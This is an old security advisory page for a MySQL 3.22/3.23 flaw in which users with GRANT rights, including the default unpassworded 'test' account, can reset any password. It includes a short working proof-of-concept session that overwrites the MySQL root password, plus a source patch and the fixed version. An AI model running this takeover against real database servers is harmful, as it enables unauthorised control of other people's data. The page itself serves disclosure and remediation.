MySQL GRANT Global Password Changing Vulnerability

BID:926

Info

MySQL GRANT Global Password Changing Vulnerability

Bugtraq ID: 926
Class: Access Validation Error
CVE:
Remote: Yes
Local: Yes
Published: Jan 11 2000 12:00AM
Updated: Jan 11 2000 12:00AM
Credit: First posted to Bugtraq by Viktor Fougstedt <[email protected]> on January 11, 1999.
Vulnerable: MySQL AB MySQL 3.23.8
MySQL AB MySQL 3.22.29
MySQL AB MySQL 3.22.27
Not Vulnerable: MySQL AB MySQL 3.22.32
+ Debian Linux 2.2 sparc
+ Debian Linux 2.2 powerpc
+ Debian Linux 2.2 IA-32
+ Debian Linux 2.2 arm
+ Debian Linux 2.2 alpha
+ Debian Linux 2.2 68k
MySQL AB MySQL 3.22.30

Discussion

MySQL GRANT Global Password Changing Vulnerability

MySQL is a popular RDBMS used by many websites as a back-end. It is possible for users with GRANT access to change passwords for every user in the database (including the mysql superuser). MySQL also ships with a default "test" account which has GRANT privileges and is unpassworded, meaning anyone can connect to the db. These two problems combined can result in a total, remote (and probably anonymous) database compromise. The database can be compromised even if the test account is disabled (given a local user account with GRANT privs).

Exploit / POC

MySQL GRANT Global Password Changing Vulnerability

See discussion.

The author of this vulnerability posted the exploit on February 15, 2000:

Exploit: Connect to mysql as any user with grant privileges for any table. The default test users will do nicely. If no databases has been created for the test user, do so. Then alter roots (MySQL's roots, not the real roots!) password with a GRANT. After the code below has been executed, the password of the MySQL superuser 'root' will be 'newpassword'.

> mysql -utest -p
Password:

mysql> CREATE DATABASE test_expl;
Query OK, 1 row affected (0.04 sec)

mysql> GRANT select ON test_expl.* TO root@localhost IDENTIFIED BY
+'newpassword';
Query OK, 0 rows affected (0.01 sec)

mysql> exit
Bye

Solution / Fix

MySQL GRANT Global Password Changing Vulnerability

Solution:
MySQL 3.22.30 has been released and is not vulnerable to this problem.

Sasha Pachev <[email protected]> sent us the following patch on January 12, 1999:

-----------start-----------------------
*** /my/monty/master/mysql-3.23.8-alpha/sql/sql_parse.cc Fri Dec 31 13:53:03 1999
--- ./sql_parse.cc Mon Jan 10 21:53:59 2000
***************
*** 1222,1227 ****
--- 1222,1246 ----
tables ? &tables->grant.privilege : 0,
tables ? 0 : 1))
goto error;
+
+ /* Check that the user isn't trying to change a password for another
+ user if he doesn't have UPDATE privilege to the MySQL database
*/
+
+ List_iterator <LEX_USER> user_list(lex->users_list);
+ LEX_USER *user;
+ while ((user=user_list++))
+ {
+ if (user->password.str &&
+ (strcmp(thd->user,user->user.str) ||
+ user->host.str && my_strcasecmp(user->host.str,
+ thd->host ? thd->host : thd->ip)))
+ {
+ if (check_access(thd, UPDATE_ACL, "mysql",0,1))
+ goto error;
+ break; // We are allowed to do changes
+ }
+ }
+
if (tables)
{
if (grant_option && check_grant(thd,

----------------end-------------------

References

MySQL GRANT Global Password Changing Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report